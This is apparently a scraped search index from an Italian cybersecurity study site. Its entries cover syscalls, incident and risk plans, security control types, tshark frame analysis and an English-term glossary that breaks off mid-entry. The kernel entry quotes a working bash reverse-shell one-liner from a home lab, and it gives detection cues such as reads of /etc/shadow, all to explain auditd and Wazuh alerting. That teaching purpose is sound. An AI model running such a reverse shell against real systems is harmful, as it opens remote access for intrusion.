RK[\"ROOTKIT compromette EL1 mentisce a EL0\"] BK[\"BOOTKIT compromette EL3 invisibile a EL1 ed EL0\"] RK -.-\u003e|attacca| EL1 BK -.-\u003e|attacca| EL3 Il programma non tocca mai l'hardware direttamente. Tutto passa dal kernel. # Come funziona # L'analogia del concierge # Il kernel funziona come il concierge di un hotel:\nGli ospiti (programmi user space) non entrano in cucina, non toccano i server, non parlano con gli elettricisti Tutto passa dallo sportello (syscall) Il concierge (kernel) riceve la richiesta, verifica che l'ospite sia autorizzato, esegue l'operazione con accesso totale, restituisce il risultato Questa è esattamente la struttura del Facade pattern in programmazione: interfaccia uniforme che nasconde la complessità del sistema sottostante.\nLivelli di privilegio # Su ARM64 (Apple Silicon, Ubuntu ARM) esistono quattro livelli chiamati Exception Levels:\nEL0 → User space (programmi normali — bash, python, nmap) EL1 → Kernel (Linux, XNU, NT) EL2 → Hypervisor (virtualizzazione — UTM, VMware) EL3 → Firmware (sicurezza hardware — Secure Boot) Su x86_64 questi livelli si chiamano rings (Ring 0 = kernel, Ring 3 = user space).\nQuando un programma esegue una syscall, la CPU passa da EL0 a EL1 — questo passaggio si chiama context switch.\nEsempi di syscall comuni # Syscall Cosa fa Chi la usa open() apre un file qualsiasi programma che legge/scrive read() legge dati cat, grep, qualsiasi lettura write() scrive dati echo, qualsiasi scrittura connect() apre connessione TCP/UDP browser, curl, bash /dev/tcp execve() avvia un processo shell, qualsiasi esecuzione fork() duplica un processo bash, qualsiasi spawn mmap() alloca memoria tutti i programmi I numeri di syscall dipendono dall'architettura # Ogni architettura ha la propria ABI (Application Binary Interface) — il contratto che definisce come i programmi chiamano il kernel. Il numero usato per identificare una syscall dipende dall'architettura del processore.\nSyscall x86_64 ARM64 connect() 42 203 read() 0 63 write() 1 64 execve() 59 221 Riferimento ARM64: https://arm64.syscall.sh\nLe librerie di sistema (glibc) gestiscono la traduzione — nel codice scrivi connect() e glibc usa il numero giusto per la tua architettura.\nNote Questo spiega perché un exploit compilato per x86_64 non funziona su ARM64 — i numeri di syscall sono diversi.\nKernel — quale sistema usa quale # Sistema operativo Kernel Note Ubuntu, Kali, Debian Linux (Linus Torvalds, 1991) open source macOS XNU (Mach + BSD) Unix certificato Windows 10/11/Server NT (New Technology, 1993) closed source iOS, iPadOS XNU stesso di macOS Android Linux fork modificato Linux è il kernel, non il sistema operativo completo. Ubuntu = kernel Linux + GNU tools + distribution layer.\nRilevanza per la security # auditd monitora le syscall direttamente — è il livello più basso di visibilità possibile su Linux. Quando bash esegue connect() per una reverse shell, auditd lo vede prima di qualsiasi altro strumento.\nEsempio reale dal lab 2026-05-10:\n# bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.64.200/4444 0\u0026gt;\u0026amp;1 # genera syscall connect() — numero 203 su ARM64 # alert Wazuh via auditd: # data.audit.syscall: 203 # data.audit.command: bash # data.audit.exe: /usr/bin/bash # data.audit.success: no ← tentativo fallito o EINPROGRESS bash non dovrebbe mai chiamare connect() — questo è il segnale d'allarme.\nTip Se un kernel viene compromesso (rootkit), il concierge inizia a mentire — risponde alle chiamate read() e ls mostrando dati falsi. Per questo i rootkit sono invisibili a strumenti userspace: interrogano il kernel, e il kernel risponde con dati falsificati.\nScenario Reale # In un SOC, auditd + Wazuh viene configurato per alertare su syscall anomale:\nexecve() eseguito da un processo web server → possibile RCE connect() eseguito da bash → possibile reverse shell open() su /etc/shadow da processo non root → possibile credential theft Suricata (mese 6) lavorerà a livello network — vede i pacchetti. auditd lavora a livello kernel — vede le syscall. Insieme coprono entrambi i layer.\nCollegato a # system — categoria OS e kernel auditd — monitoraggio syscall su Linux reverse-shell — bash connect() come caso reale incident-report-lab-2026-05-10 — lab dove questa syscall è stata rilevata ","date":"10 maggio 2026","externalUrl":null,"permalink":"/concetti/kernel-syscall/","section":"Concetti","summary":"Il kernel è il nucleo del sistema operativo. Le syscall sono l'interfaccia tra programmi utente e kernel. Architetture diverse (ARM64, x86_64) hanno numeri di syscall diversi.","title":"Kernel e Syscall - User Space vs Kernel Space","type":"concetti"},{"content":" Cosa fa # Ogni piano operativo risponde a una domanda diversa su come l'organizzazione gestisce crisi, incidenti e modifiche. Confonderli è il trabocchetto classico dell'esame.\nTL;DR # DRP → come ripristino i sistemi dopo un disastro IRP → come gestisco un attacco/incidente in corso BCP → come continuo il business durante una crisi CM → come approvo e documento modifiche ai sistemi I quattro piani a confronto # Piano Nome completo Quando si attiva Focus DRP Disaster Recovery Plan Dopo un disastro (flood, fire, outage) Ripristinare i sistemi IT IRP Incident Response Plan Durante/dopo un attacco informatico Gestire l'incidente di sicurezza BCP Business Continuity Plan Durante qualsiasi crisi Mantenere il business operativo CM Change Management Prima di modificare sistemi in produzione Approvare e documentare modifiche Distinzioni chiave per l'esame # DRP vs BCP:\nBCP è più ampio — include DRP. Il BCP dice \u0026quot;il business deve continuare\u0026quot;. Il DRP dice \u0026quot;ecco come ripristiniamo i sistemi IT\u0026quot;. BCP = visione business. DRP = esecuzione tecnica. IRP vs DRP:\nIRP = risposta a un attacco informatico (chi fa cosa, quando, come). DRP = ripristino dopo un disastro fisico o tecnico. Un ransomware attiva entrambi: IRP per l'incidente, DRP per il restore dei backup. Change Management:\nNon è un piano di crisi — è un processo preventivo. Prima di modificare regole firewall, aggiornare server, cambiare configurazioni → change management. Contiene: documentazione della modifica, approvazione, test, backout plan. Important Exam anchor: \u0026quot;administrator should adhere to when modifying a production system\u0026quot; → Change Management, non DRP o IRP.\nMetriche collegate # Metrica Significato Piano RTO — Recovery Time Objective Tempo massimo accettabile per ripristinare DRP RPO — Recovery Point Objective Quanti dati possiamo perdere (finestra backup) DRP MTTR — Mean Time To Repair Tempo medio per risolvere un guasto DRP MTBF — Mean Time Between Failures Tempo medio tra un guasto e il successivo DRP Scenario Reale # Ransomware colpisce un ospedale:\nIRP → attivato subito: chi contiene, chi indaga, chi comunica BCP → mantenere le operazioni critiche (surgery, ER) durante l'incidente DRP → ripristinare i sistemi IT dai backup dopo l'eradicazione Tutti e tre si attivano insieme — livelli diversi dello stesso problema.\nCollegato a # dfir — IRP come parte dell'incident response incident-response-lifecycle — PICERL come operativizzazione dell'IRP risk-management-terms — i piani nascono dal risk register ","date":"10 maggio 2026","externalUrl":null,"permalink":"/concetti/operational-plans/","section":"Concetti","summary":"Distinzione tra i piani operativi: Disaster Recovery Plan, Incident Response Plan, Business Continuity Plan e Change Management. Termini D4/D5 Security+ frequenti.","title":"Operational Plans - DRP, IRP, BCP, Change Management","type":"concetti"},{"content":" Cosa fa # Il risk management gestisce i rischi di un'organizzazione. Ogni termine descrive uno strumento, un concetto o un processo diverso — confonderli è il trabocchetto classico dell'esame.\nTL;DR # Risk register → DOCUMENTO che elenca i rischi Risk tolerance → CONCETTO: quanto rischio accettiamo Risk transfer → STRATEGIA: sposto il rischio a terzi Risk analysis → PROCESSO: valuto e misuro i rischi I quattro termini # Termine Cos'è Cosa contiene/fa Exam trap Risk register Documento Lista rischi, owner, likelihood, impact, soglie È un documento, non un processo Risk tolerance Concetto Livello massimo di rischio accettabile dall'org È una soglia, non un documento Risk transfer Strategia Spostare il rischio a terzi — assicurazione, outsourcing È una strategia, non un documento Risk analysis Processo Valutare probabilità e impatto dei rischi È un processo, non un documento Important Quando la domanda dice \u0026quot;document\u0026quot;, \u0026quot;track\u0026quot;, \u0026quot;list\u0026quot;, \u0026quot;responsible parties\u0026quot; → risk register. Quando dice \u0026quot;how much risk the org accepts\u0026quot; → risk tolerance. Quando dice \u0026quot;insurance\u0026quot; o \u0026quot;third party\u0026quot; → risk transfer. Quando dice \u0026quot;evaluate\u0026quot; o \u0026quot;assess\u0026quot; → risk analysis.\nRisk register — dettaglio # Il risk register è l'artefatto centrale del risk management. Ogni riga è un rischio:\nCampo Contenuto Risk Descrizione del rischio Owner Chi è responsabile di gestirlo Likelihood Probabilità che accada Impact Danno se accade Threshold Soglia oltre cui bisogna agire Mitigation Controllo in atto Strategie di risposta al rischio # Strategia Cosa fa Esempio Accept Accetta il rischio consapevolmente Rischio basso, costo mitigazione troppo alto Transfer Sposta il rischio a terzi Cyber insurance, outsourcing Mitigate Riduce probabilità o impatto Patch, firewall, MFA Avoid Elimina l'attività rischiosa Non raccogliere dati che non servono Collegato a # system — governance e risk come fondamenta della security security-controls-types — i controlli come strumento di mitigazione incident-response-lifecycle — il risk register informa le priorità IR ","date":"10 maggio 2026","externalUrl":null,"permalink":"/concetti/risk-management-terms/","section":"Concetti","summary":"Distinzione tra risk register, risk tolerance, risk transfer e risk analysis. Termini D5 Security+ che escono spesso nelle domande.","title":"Risk Management - Termini chiave","type":"concetti"},{"content":" Cosa fa # I controlli di sicurezza sono misure che riducono il rischio. Ogni controllo ha un tipo (dove agisce) e una funzione (come agisce).\nTL;DR # Tipo → dove si trova il controllo Funzione → cosa fa il controllo Un controllo può avere sia un tipo che una funzione: \u0026quot;Una telecamera CCTV è un controllo Physical + Detective\u0026quot;\nTipi di controllo # Tipo Dove agisce Esempio Technical Sistemi, software, hardware Firewall, IDS, encryption, MFA Administrative Policy, procedure, persone AUP, training, change management Physical Spazio fisico Serrature, badge, telecamere, guardie Funzioni di controllo # Funzione Quando agisce Scopo Esempio Preventive Prima dell'attacco Impedisce che accada Firewall, patch, MFA Detective Durante/dopo Rileva che è accaduto SIEM, IDS, audit log, CCTV Corrective Dopo Ripristina dopo l'incidente Backup restore, patch post-breach Compensating Quando non puoi fixare Riduce l'esposizione senza risolvere il problema Firewall davanti a legacy system Deterrent Prima Scoraggia l'attaccante Cartelli \u0026quot;sorveglianza attiva\u0026quot;, policy sanzionatorie Directive Prima Guida il comportamento Policy, procedure, training obbligatorio Important Compensating è il più importante per l'esame: quando non puoi fixare o sostituire un sistema (legacy), metti controlli intorno ad esso. Non risolve la vulnerabilità — limita l'esposizione.\nCaso reale — Legacy system # Scenario classico dell'esame e dei SOC reali:\nSistema legacy critico — non può essere patchato o sostituito | ├── Patch the system → Corrective (ma non puoi farlo) ├── Block from network → Preventive ├── Firewall + disable services → Compensating ← risposta corretta └── Monitor for anomalies → Detective Tip Exam anchor: compensating = you can't fix it, so you protect around it.\nPer l'esame Security+ # Le domande chiedono spesso di identificare il tipo E la funzione:\n\u0026quot;A company posts signs warning of video surveillance\u0026quot; → Tipo: Physical | Funzione: Deterrent\n\u0026quot;An organization implements MFA for all logins\u0026quot; → Tipo: Technical | Funzione: Preventive\n\u0026quot;A SIEM reviews logs weekly\u0026quot; → Tipo: Technical | Funzione: Detective\nScenario Reale # Lab 2026-05-10 — Ubuntu con Wazuh:\nWazuh = Technical + Detective (rileva la reverse shell via auditd) UFW firewall = Technical + Preventive (blocca traffico in ingresso) auditd = Technical + Detective (monitora syscall) Segmentazione rete host-only = Technical + Compensating (isola il lab) Collegato a # dfir — detective controls in azione observability — SIEM come detective control incident-response-lifecycle — i controlli nel ciclo IR ","date":"10 maggio 2026","externalUrl":null,"permalink":"/concetti/security-controls-types/","section":"Concetti","summary":"Classificazione dei controlli di sicurezza per tipo (Technical/Administrative/Physical) e per funzione (Preventive/Detective/Corrective/Compensating/Deterrent/Directive).","title":"Security Controls - Tipi e Funzioni","type":"concetti"},{"content":" Cosa fa # Descrive la struttura a livelli dei dati di rete — dal frame Ethernet al protocollo applicativo — e come tshark/Wireshark li numerano e raggruppano in stream.\nTL;DR # [ FRAME ETHERNET (L2) ] └─ [ PACCHETTO IP (L3) ] └─ [ SEGMENTO TCP (L4) ] └─ [ Dati applicativi (L7) — HTTP, DNS, LLMNR, ecc. ] Ogni riga di tshark è un frame. Dentro al frame c'è tutta la matrioska.\nDefinizioni # Frame — unità di dati del livello 2 (Ethernet). Viaggia tra due MAC. Contiene header L2 (MAC sorgente/destinazione, tipo) + payload (pacchetto IP) + trailer (FCS). Pacchetto — unità di dati del livello 3 (IP). Viaggia tra due indirizzi IP. Contiene header IP (IP sorgente/destinazione, TTL, protocol) + payload (segmento TCP/UDP). Segmento — unità di dati del livello 4 (TCP). Viaggia tra due socket (IP:porta ↔ IP:porta). Contiene header TCP (porte, seq/ack, flag) + dati applicativi. Attenzione: è sbagliato dire \u0026quot;pacchetto TCP\u0026quot; — il termine corretto è segmento TCP. Per un esame o una nota tecnica, usare i termini giusti.\nLa NIC # La NIC (Network Interface Card) è la scheda di rete: il pezzo hardware/driver che manda e riceve bit sul cavo (o antenna Wi-Fi). È lei che vede i frame a livello 2 e li passa allo stack IP del sistema operativo.\n[FILO / ARIA] ⇄ [NIC] ⇄ [STACK IP (kernel)] ⇄ [tshark / Wireshark] Quando leggi un pcap, stai osservando la sequenza di frame che la NIC ha passato allo stack.\nI 7 livelli OSI — cosa conta per il Blue Team # Livello Nome Cosa guardi in analisi L1 Fisico Mezzo, velocità, errori fisici — di solito fuori dal pcap L2 Data Link MAC, ARP, VLAN → topologia locale, spoofing, broadcast L3 Rete IP, TTL, routing → chi parla con chi, da dove a dove L4 Trasporto Porte, flag TCP, connessioni → servizi, scansioni, sessioni L5 Sessione Gestione logica di sessioni applicative (ID sessione, login) L6 Presentazione TLS, encoding, compressione — payload spesso cifrato L7 Applicazione HTTP, DNS, LLMNR, SMB → contenuto reale, comandi, C2 L7 è dove trovi il contenuto che ti interessa: la colonna \u0026quot;Info\u0026quot; di tshark mostra sempre una descrizione del protocollo L7.\nLa matrioska OSI # [ FILO / ARIA ] │ ▼ +-------------------------------+ | FRAME ETHERNET (L2) | | MAC DST | MAC SRC | TYPE ... | +-------------------------------+ | PACCHETTO IP (L3) | | IP HDR | IP PAYLOAD | +-------------------------------+ │ ▼ +---------------------+ | SEGMENTO TCP (L4) | | TCP HDR | DATI | +---------------------+ │ ▼ +-----------------+ | HTTP / DNS / | | LLMNR / ecc. | (L7) +-----------------+ Quando in tshark espandi un frame con -V:\n\u0026quot;Frame N\u0026quot; → tutta la scatola esterna (vista dalla NIC) \u0026quot;Ethernet II\u0026quot; → header L2 (MAC sorgente/destinazione) \u0026quot;Internet Protocol Version 4\u0026quot; → header IP (pacchetto) \u0026quot;Transmission Control Protocol\u0026quot; → header TCP (segmento) \u0026quot;HTTP / DNS / LLMNR...\u0026quot; → livello applicativo Esempio concreto — riga tshark e frame completo # No. Time Source Destination Protocol Length Info 108 4.325517 10.2.28.88 224.0.0.252 LLMNR 75 Standard query ... Questo corrisponde a un frame visto dalla NIC:\nFRAME 108 (75 byte sul filo) +------------------------------------------------------------------+ | ETHERNET HEADER (L2) | | +-----------------+-----------------+-------------------------+ | | | MAC DST (6B) | MAC SRC (6B) | EtherType (2B) | | | +-----------------+-----------------+-------------------------+ | | es: 01:00:5e:00:00:fc 3c:15:c2:aa:bb:cc 0x0800 (IPv4) | +------------------------------------------------------------------+ | PACCHETTO IP (L3) | | +-------------------------------------------------------------+ | | | IP HEADER (20+ B) | | | | - Versione, TTL, Proto=17(UDP), IP sorg=10.2.28.88 | | | | - IP dest=224.0.0.252 | | | +-------------------------------------------------------------+ | | | PAYLOAD IP = SEGMENTO UDP (L4) | | +------------------------------------------------------------------+ | SEGMENTO UDP (L4) | | +----------------+----------------+--------------------------+ | | | Porta sorgente | Porta dest | Lunghezza + Checksum | | | | es: 5355 | 5355 (LLMNR) | | | | +----------------+----------------+--------------------------+ | | | DATI UDP = MESSAGGIO LLMNR (L7) | | +------------------------------------------------------------------+ | MESSAGGIO LLMNR (L7) | | +-------------------------------------------------------------+ | | | \u0026#34;Standard query 0x97f5 ANY DESKTOP-TEYQ2NR\u0026#34; | | | | - ID transazione 0x97f5 | | | | - Tipo: query ANY | | | | - Nome: DESKTOP-TEYQ2NR | | | +-------------------------------------------------------------+ | +------------------------------------------------------------------+ -V è la matrioska esplosa — -T fields -e è la matrioska selettiva # -V apre tutto il frame livello per livello — è utile per esplorare e capire cosa c'è dentro:\ntshark -r file.pcap -Y \u0026#34;frame.number == 108\u0026#34; -V -T fields -e campo è la stessa cosa ma selettiva — quando sai già il nome del campo, estrai solo quello:\ntshark -r file.pcap -Y \u0026#34;frame.number == 108\u0026#34; \\ -T fields -e ip.src -e ip.dst -e udp.dstport Flusso pratico: usi -V per esplorare → trovi il nome del campo → usi -T fields -e per estrarlo in modo pulito.\nStream — conversazioni logiche # Uno stream è una conversazione logica continua tra due endpoint a un certo livello dello stack.\nOgni livello ha i propri stream, indipendenti tra loro:\nLivello Stream Endpoint Come identificarlo L2 Ethernet conversation MAC A ↔ MAC B [Stream index: N] in Ethernet L3 IP conversation IP A ↔ IP B [Stream index: N] in IP L4 TCP stream IP A:porta A ↔ IP B:porta B tcp.stream == N Un singolo frame può avere tre stream index diversi — non hanno relazione numerica tra loro.\nFrame 43: [Stream index: 2] ← Ethernet conversation (MAC↔MAC) [Stream index: 25] ← IP conversation (IP↔IP) [Stream index: 40] ← TCP stream (connessione specifica) In pratica userai quasi sempre tcp.stream (L4).\nTCP stream — come funziona # Una connessione TCP non è un singolo frame — è una serie di frame:\nFrame 40 → TCP stream 7 (SYN) Frame 41 → TCP stream 7 (SYN/ACK) Frame 42 → TCP stream 7 (ACK) Frame 43 → TCP stream 7 (HTTP GET /...) Frame 44 → TCP stream 7 (HTTP risposta, parte 1) Frame 45 → TCP stream 7 (HTTP risposta, parte 2) Trovare il tcp.stream di un frame:\ntshark -r file.pcap -Y \u0026#34;frame.number == 4093\u0026#34; \\ -T fields -e frame.number -e tcp.stream # output: 4093 40 Seguire tutta la conversazione:\ntshark -r file.pcap -q -z \u0026#34;follow,tcp,ascii,40\u0026#34; Scenario Reale # Analisi pcap MTA 2026-02-28 (NetSupport RAT):\nIl beaconing verso 45.131.214.85:443 era tutto nel tcp.stream == 40 L'hostname DESKTOP-TEYQ2NR è emerso filtrando NBNS (L7) Lo username brolf è emerso filtrando Kerberos (L7, kerberos.CNameString) IP e MAC della vittima sono stati letti dal frame via -V su frame specifici Collegato a # network — protocolli di rete, stack OSI tshark — comandi per navigare frame, stream, campi wireshark — GUI equivalente ","date":"7 maggio 2026","externalUrl":null,"permalink":"/concetti/frame-packet-segment/","section":"Concetti","summary":"Differenza tra frame (L2), pacchetto IP (L3) e segmento TCP (L4). Matrioska OSI, NIC, stream indipendenti per livello. Base per leggere correttamente tshark e Wireshark.","title":"Frame, Pacchetto, Segmento - OSI e Stream","type":"concetti"},{"content":"","date":"7 maggio 2026","externalUrl":null,"permalink":"/dump/glossari/","section":"Dump","summary":"","title":"Glossari","type":"dump"},{"content":"Raccoglie i termini inglesi che ricorrono spesso ma il cui significato non è immediato. Distinto dal glossario tecnico — qui si spiega la parola, non il concetto.\nO # Outage (sostantivo) — interruzione del servizio, blackout. Il periodo in cui un sistema o servizio non è disponibile. Es: \u0026quot;minimize outage time\u0026quot; = minimizzare il tempo di interruzione. Collegato a Availability della CIA triad e a RTO (quanto tempo puoi stare in outage prima che sia un problema). P # PII — Personally Identifiable Information (acronimo) — Informazioni di Identificazione Personale. Qualsiasi dato che permette di identificare un individuo: nome, codice fiscale, numero di previdenza sociale (SSN negli USA), indirizzo, data di nascita, email. Nel testo Gibson: il DLP scansiona le email in uscita cercando pattern SSN (###-##-####) — se trovato, blocca e allerta. PII e' una delle categorie di dati piu' regolamentate (GDPR in Europa, HIPAA per dati sanitari in USA). Exam trap: PII non e' solo \u0026quot;il nome\u0026quot; — include qualsiasi combinazione di dati che rende identificabile un individuo specifico.\nPosture / Security Posture (sostantivo) — postura di sicurezza. La valutazione complessiva dello stato di sicurezza di un'organizzazione o di un sistema: quanto e' esposto, quanto e' difeso, quanto e' pronto a rispondere. Tool esempio: Microsoft Secure Score (punteggio postura per Azure), AWS Security Hub. Caso reale: un'azienda con sistemi non patchati, password di default e no MFA ha una postura debole — alta superficie di attacco, bassa capacita' di difesa. Le baseline migliorano la postura alzando il livello minimo garantito su tutti i sistemi. Hook mnemonico: come la postura fisica — stai dritto (sicuro) o curvo (esposto)? Exam tip: \u0026quot;improve the overall security posture\u0026quot; = ridurre la superficie di attacco e aumentare la resilienza del sistema complessivo.\nProxy (sostantivo) — procuratore, intermediario. In latino: \u0026quot;per conto di\u0026quot;. In networking: server che va su internet al posto del client — il sito vede l'IP del proxy, non quello del client. Anche chiamato forward proxy server. Tool esempio: Squid (open source), Zscaler (cloud). Caso reale: dipendente apre facebook.com → il proxy controlla la blacklist → sito vietato → mostra pagina warning invece di inoltrare la richiesta. Hook mnemonico: il proxy è come un procuratore legale — va in tribunale (internet) al posto tuo. Exam trap: proxy forward = client → internet. Reverse proxy = protegge i server (sta nella DMZ davanti ai web server interni).\nProvisioning (sostantivo/verbo) — fornire, allestire, predisporre. In IAM: il processo di creare l'account di un nuovo utente e assegnargli i permessi necessari per il suo ruolo. Tool esempio: Active Directory + HR system integrati (new hire → account creato automaticamente). Caso reale: nuovo dipendente assume il ruolo \u0026quot;Sales\u0026quot; → AD crea account, aggiunge al gruppo Sales, assegna accesso a \\server\\Sales. Hook mnemonico: provision = provvedere a qualcuno di ciò che serve. Opposto di deprovisioning. Exam trap: provisioning non è solo creare l'account — include anche l'assegnazione dei permessi corretti (least privilege).\nR # RTO — Recovery Time Objective (acronimo) — tempo massimo accettabile per ripristinare un servizio dopo un'interruzione. Es: RTO = 4h significa che il servizio deve tornare operativo entro 4 ore dal disastro. Exam trap: RTO riguarda il tempo, non i dati. Per i dati c'è RPO (Recovery Point Objective). Hot site = RTO minimo. Cold site = RTO massimo.\nRisk register (sostantivo) — registro dei rischi. Documento formale che elenca tutti i rischi identificati dall'organizzazione, chi ne e' responsabile (risk owner), la probabilita', l'impatto, e la soglia di tolleranza. Non e' una lista di incident — e' una lista di potenziali rischi ancora da gestire. Exam trap: risk register = documento di tracking, non di risposta. Quando la domanda chiede \u0026quot;dove vengono documentati rischi, responsible parties e thresholds\u0026quot; → risk register, non risk assessment (quello e' il processo di identificarli).\nRoot cause analysis (sostantivo) — analisi della causa principale. In IR: processo per capire perché un incidente è avvenuto, non solo cosa è successo. Obiettivo: prevenire incidenti futuri della stessa natura. Exam trap: non è raccogliere IoC (quello è Analysis) — è capire la causa per non ripeterla.\nPremises (sostantivo plurale) — i locali, la sede fisica, la proprieta' di un'organizzazione. Edifici, uffici, data center che appartengono all'azienda. \u0026quot;On the premises\u0026quot; = dentro la sede → da cui \u0026quot;on-premises\u0026quot;. Caso reale: \u0026quot;on-premises server\u0026quot; = server fisicamente nel tuo edificio, non in un data center esterno. Equivalente italiano: \u0026quot;in loco\u0026quot;. Hook mnemonico: premises = \u0026quot;premesse\u0026quot; fisiche — il posto da cui parte tutto. Exam trap: \u0026quot;premises\u0026quot; non significa \u0026quot;locali\u0026quot; come stanze — e' il concetto legale/fisico della proprieta' dell'organizzazione. Un data center Hetzner non e' mai \u0026quot;on-premises\u0026quot; per il tuo cliente, anche se ci metti un server dedicato.\nResponsiveness (sostantivo) — velocita' e affidabilita' con cui un sistema risponde alle richieste. Si misura in response time (quanto ci mette a rispondere) e throughput (quante richieste gestisce per unita' di tempo). In cloud: ottimizzata tramite caching, load balancing, CDN. Caso reale: un'app con response time \u0026gt; 3 sec perde il 40% degli utenti — la responsiveness e' un requisito di business prima che tecnico. Hook mnemonico: response + ness = la qualita' dell'essere responsivo, cioe' reattivo. Exam trap: responsiveness != availability — un servizio puo' essere disponibile (non down) ma lento; availability misura se e' su, responsiveness misura quanto e' veloce.\nRound trip (sostantivo) — andata e ritorno di un dato attraverso la rete. Il tempo totale che passa dal momento in cui un dispositivo manda una richiesta a quando riceve la risposta. Si misura in millisecondi (RTT — Round Trip Time). Caso reale: ping google.com mostra il round trip time — il pacchetto va a Google e torna. In cloud computing: se un sensore manda dati al cloud per elaborarli e aspetta la risposta, quel viaggio andata+ritorno e' il round trip. Hook mnemonico: \u0026quot;round trip ticket\u0026quot; = biglietto andata e ritorno — i dati fanno lo stesso viaggio. Exam trap: round trip non e' solo la latenza di andata — e' il tempo totale del ciclo completo andata+ritorno.\nFacilities (sostantivo plurale) — strutture, impianti, infrastrutture fisiche. In security: gli edifici, i locali e le installazioni fisiche di un'organizzazione — data center, uffici, magazzini, impianti industriali. Non si traduce come \u0026quot;facilita'\u0026quot; (che in italiano significa comodita'). Caso reale: \u0026quot;facilities management\u0026quot; = gestione degli edifici e degli impianti fisici. \u0026quot;Physical security of facilities\u0026quot; = protezione fisica delle strutture (badge, telecamere, guardie). Hook mnemonico: facilities = \u0026quot;tutto quello che e' fisicamente li'\u0026quot; — i posti dove lavori, non gli strumenti con cui lavori. Exam trap: \u0026quot;facility failure\u0026quot; non e' un guasto software — e' il problema fisico di una sede (blackout, alluvione, incendio). Un approccio decentralizzato riduce l'impatto di una \u0026quot;single facility failure\u0026quot;.\nFence (sostantivo) — recinzione, confine fisico. In security: qualsiasi barriera che delimita un'area. Usato sia in senso fisico (recinzione perimetrale di un edificio) che virtuale. Hook mnemonico: fence = recinto — tieni fuori chi non deve entrare. Exam trap: \u0026quot;fence\u0026quot; in physical security = barriera fisica reale. \u0026quot;Geofence\u0026quot; = fence virtuale basata su GPS, nessun filo.\nGeofence / Geofencing (sostantivo) — confine geografico virtuale creato tramite GPS o altre tecnologie di localizzazione. Le app possono rilevarsi e attivarsi/disattivarsi quando un dispositivo entra o esce dal confine. Caso reale: un'azienda configura le app MDM per funzionare solo quando il device e' dentro il perimetro dell'ufficio — fuori dal geofence, l'app si blocca. Hook mnemonico: geo (luogo) + fence (recinzione) = recinzione invisibile disegnata sulla mappa. Exam trap: geofencing non blocca fisicamente — e' una policy software che reagisce alla posizione GPS. Non e' sicurezza fisica.\nReconnaissance (sostantivo) — ricognizione, esplorazione preliminare. In militare: osservare il nemico prima di attaccare. In security: raccogliere informazioni su un target prima di attaccarlo. Varianti: active recon (interazione diretta), passive recon (solo osservazione).\nB # Buffer (sostantivo) — area di memoria temporanea di dimensione fissa, allocata per contenere dati specifici (input utente, dati di rete, output di una funzione). Il termine viene dall'inglese \u0026quot;buffer\u0026quot; = cuscinetto, zona di smorzamento — come il paraurti di un treno che assorbe l'urto prima che raggiunga i passeggeri. In computing: il buffer \u0026quot;ammortizza\u0026quot; il trasferimento di dati tra due componenti con velocità diverse (es. buffer audio, buffer di rete). In security: la dimensione fissa è il punto critico — se si scrivono più dati di quanti il buffer può contenere, si ha un buffer overflow. Hook: buffer = recinto di dimensione fissa nella memoria. Collegato a buffer overflow e memory leak.\nBuffer overflow (sostantivo) — vulnerabilità che si verifica quando vengono scritti più dati di quanti un buffer possa contenere. I dati \u0026quot;traboccano\u0026quot; oltre il confine allocato e sovrascrivono zone di memoria adiacenti (variabili critiche, indirizzi di ritorno, stack pointer). L'attaccante sfrutta questo per redirigere l'esecuzione del programma verso il proprio codice. Indicatore classico nei debugger: EIP = 0x41414141 (AAAA in ASCII) — il buffer è stato riempito con A fino a sovrascrivere l'instruction pointer. Gli indirizzi di memoria sono espressi in esadecimale (0x prefix) perché mappa direttamente sul binario (4 bit = 1 cifra hex). Hook: recinto di memoria con un cancello troppo piccolo — se spingi troppi dati, sfonda il recinto e invade il territorio del vicino. Collegato a buffer e overflow.\nBlackmail (sostantivo/verbo) — ricatto, estorsione. Minaccia di rivelare informazioni sensibili o imbarazzanti se la vittima non si conforma alle richieste (pagamento, azioni specifiche). In security: un attaccante che ottiene dati personali compromettenti e minaccia di pubblicarli se non viene pagato. Nel ransomware moderno (double extortion) si combinano: cifrano i dati E minacciano di pubblicarli. Hook: blackmail = \u0026quot;lettera nera\u0026quot; (black mail, lettera anonima di ricatto nel folklore inglese). Exam trap: blackmail non e' semplicemente una minaccia generica, e' specificamente legato a informazioni riservate che la vittima vuole tenere segrete.\nBloatware (sostantivo) — software indesiderato che \u0026quot;appesantisce\u0026quot; (to bloat = gonfiare) un sistema. Programmi che l'utente non ha esplicitamente voluto, spesso inclusi di nascosto durante l'installazione di qualcosa d'altro. Puo' essere legittimo ma fastidioso (toolbar, trial, adware) o direttamente malevolo (Trojan, spyware). La tecnica di distribuzione tipica: installer di un programma popolare scaricato da un sito non ufficiale, con caselle pre-spuntate che accettano \u0026quot;offerte\u0026quot; aggiuntive. Il consenso e' tecnicamente presente (sepolto nel ToU o nelle caselle), ma deliberatamente oscurato. In italiano: non esiste un termine ufficiale — si usa \u0026quot;software indesiderato\u0026quot;, \u0026quot;junkware\u0026quot; o direttamente \u0026quot;bloatware\u0026quot;. Hook: bloat = gonfiore — come una pancia dopo aver mangiato troppo, il sistema e' appesantito da roba che non ti serve.\nBrowser hijacker (sostantivo) — \u0026quot;dirottatore del browser\u0026quot; (to hijack = dirottare). Tipo di bloatware/spyware che modifica le impostazioni del browser senza consenso chiaro: cambia la homepage, il motore di ricerca predefinito, aggiunge toolbar, inietta pubblicita', apre tab aggiuntivi all'avvio. Raccoglie anche dati comportamentali (query di ricerca) per mostrare pubblicita' mirata e generare revenue per l'autore. Non e' necessariamente classificato come malware dai vendor perche' il \u0026quot;consenso\u0026quot; e' nel ToU — ma e' progettato deliberatamente per essere invisibile. Hook: hijacker = chi dirottava gli aerei negli anni '70. Il browser hijacker fa lo stesso con il tuo browser — lo porta dove vuole lui, non tu.\nBarely (avverbio) — a malapena, appena appena, quasi non. Indica che qualcosa è avvenuto ma al limite estremo della capacità o possibilità. \u0026quot;Could barely handle it\u0026quot; = riusciva a malapena a reggere il carico. \u0026quot;Barely enough\u0026quot; = appena sufficiente. Hook mnemonico: barely = \u0026quot;bare\u0026quot; (nudo, minimo) + avverbio → il minimo indispensabile, al limite. Exam trap: \u0026quot;barely\u0026quot; non è sinonimo di \u0026quot;not\u0026quot; — la cosa è accaduta, ma a stento.\nBogus (aggettivo)\nHoax (sostantivo) — bufala, raggiro. Messaggio falso — spesso email — che avverte di una minaccia inesistente per indurre la vittima a fare qualcosa di dannoso (cancellare file, modificare configurazioni). Non c'e' malware: il danno lo fa la vittima da sola credendo alla storia. In italiano: bufala, 